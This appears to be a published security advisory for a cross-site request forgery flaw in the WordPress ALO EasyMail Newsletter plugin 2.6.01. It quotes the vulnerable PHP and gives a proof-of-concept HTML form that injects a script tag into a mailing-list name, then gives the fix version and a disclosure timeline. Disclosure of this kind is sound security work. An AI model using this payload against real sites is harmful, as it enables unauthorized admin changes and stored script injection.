Exploit the possiblities

WordPress ALO EasyMail Newsletter 2.6.01 CSRF

WordPress ALO EasyMail Newsletter 2.6.01 CSRF
Posted Feb 16, 2016
Authored by Mohsen Lotfi

WordPress ALO EasyMail Newsletter plugin version 2.6.01 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | 4ad4f5cfc3b0c43309a60f8dfa1b5a58

WordPress ALO EasyMail Newsletter 2.6.01 CSRF

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# Exploit Title: Wordpress ALO EasyMail Newsletter plugin cross-site request forgery vulnerability
# Software Link: https://wordpress.org/plugins/alo-easymail/
# Affected Version: 2.6.01
# Exploit Author: Mohsen Lotfi
# Contact: mohsen.lotfi.all@gmail.com
# Twitter: fox_one_fox_one
# Date: 01-16-2016

#####################
1. Description
#####################

The plugin contains a CSRF vulnerability, which can be exploited to perform a script insertion attack.

script insertion happens in wp-content/plugins/alo-easymail/pages/alo-easymail-admin-options.php :

case "save_list": // SAVE a mailing list (add or update)
if ( isset($_REQUEST['submit_list']) ) {
//$list_name = stripslashes( trim( $_POST['elp_list_name'] ) );

// List name
$list_name = array();
foreach ( $languages as $key => $lang ) {
if (isset($_POST['listname_'.$lang]) ) $list_name[$lang] = stripslashes(trim($_POST['listname_'.$lang])); /* script insertion here */
}

$list_available = stripslashes( trim( $_POST['elp_list_available'] ) );
$list_order = stripslashes( trim( $_POST['elp_list_order'] ) );
if ( $list_name && $list_available && is_numeric($list_order) ) {
$mailinglists = alo_em_get_mailinglists ( 'hidden,admin,public' );
if ( $list_id ) { // update
$mailinglists [$list_id] = array ( "name" => $list_name, "available" => $list_available, "order" => $list_order );
} else { // or add a new
if ( empty($mailinglists) ) { // if 1st list, skip index 0
$mailinglists [] = array ( "name" => "not-used", "available" => "deleted", "order" => "");
}
$mailinglists [] = array ( "name" => $list_name, "available" => $list_available, "order" => $list_order);
}
if ( alo_em_save_mailinglists ( $mailinglists ) ) {
unset ( $list_id );
unset ( $list_name );
unset ( $list_available );
unset ( $list_order );
echo '<div id="message" class="updated fade"><p>'. __("Updated", "alo-easymail") .'</p></div>';
} else {
echo '<div id="message" class="error"><p>'. __("Error during operation.", "alo-easymail") .'</p></div>';
}
} else {
echo '<div id="message" class="error"><p>'. __("Inputs are incompled or wrong. Please check and try again.", "alo-easymail") .'</p></div>';
}
}
break;


#####################
2. Proof of Concept
#####################

Login as regular user then:

<form method="post" action="http://localhost/wordpress4.4/wp-admin/edit.php?post_type=newsletter&page=alo-easymail/pages/alo-easymail-admin-options.php">
<input type="hidden" name="listname_en" value="<script>alert('xss')</script>">
<input type="hidden" name="elp_list_available" value="hidden">
<input type="hidden" name="elp_list_order" value="0">
<input type="hidden" name="user_ID" value="1">
<input type="hidden" name="task" value="save_list">
<input type="hidden" name="list_id" value="">
<input type="submit" name="submit_list" value="Trigger!">
</form>


#####################
3. Sulotion
#####################

Update to version 2.7.0
https://wordpress.org/plugins/alo-easymail/changelog/

#####################
4. Report Timeline
#####################

01-16-2016 : Vulnerability discovered.
01-25-2016 : Vendor notified of vulnerability.
02-07-2016 : Vendor replied and released fixed version.

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